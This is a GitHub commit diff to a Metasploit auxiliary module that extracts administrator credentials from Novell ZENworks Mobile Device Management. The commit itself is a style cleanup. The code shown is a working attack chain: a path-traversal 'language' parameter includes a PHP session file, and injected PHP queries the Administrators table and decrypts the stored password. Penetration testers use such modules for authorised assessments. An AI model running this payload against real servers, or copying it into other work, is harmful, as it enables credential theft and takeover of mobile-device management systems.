Skip to content

Commit 5d90c6c

Browse files
committed
Make msftidy happy
1 parent ca5155f commit 5d90c6c

File tree

1 file changed

+9
-5
lines changed

1 file changed

+9
-5
lines changed

modules/auxiliary/scanner/http/novell_mdm_creds.rb

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -49,22 +49,26 @@ def setup_session()
4949
'method' => "HEAD",
5050
'uri' => normalize_uri("#{target_uri.path}", "download.php"),
5151
'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
52-
})
52+
})
5353
return sess,cmd
5454
end
5555

5656
def get_creds(session_id,cmd_var)
57-
57+
cmd = '$pass=mdm_ExecuteSQLQuery('
58+
cmd << '"SELECT UserName,Password FROM Administrators where AdministratorSAKey = 1"'
59+
cmd << ',array(),false,-1,"","","",QUERY_TYPE_SELECT);'
60+
cmd << 'echo "".$pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"])."";'
61+
5862
res = send_request_cgi({
5963
'method' => 'GET',
6064
'uri' => normalize_uri("#{target_uri.path}", "DUSAP.php"),
6165
'vars_get' => {
6266
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
63-
cmd_var => '$pass=mdm_ExecuteSQLQuery("SELECT UserName,Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);echo "".$pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"])."";'
64-
}
67+
cmd_var => cmd
68+
}
6569
})
6670
creds = res.body.to_s.match(/.*:"(.*)";.*";/)[1]
67-
return creds.split(":")
71+
return creds.split(":")
6872
end
6973

7074
def run_host(ip)

0 commit comments

Comments
 (0)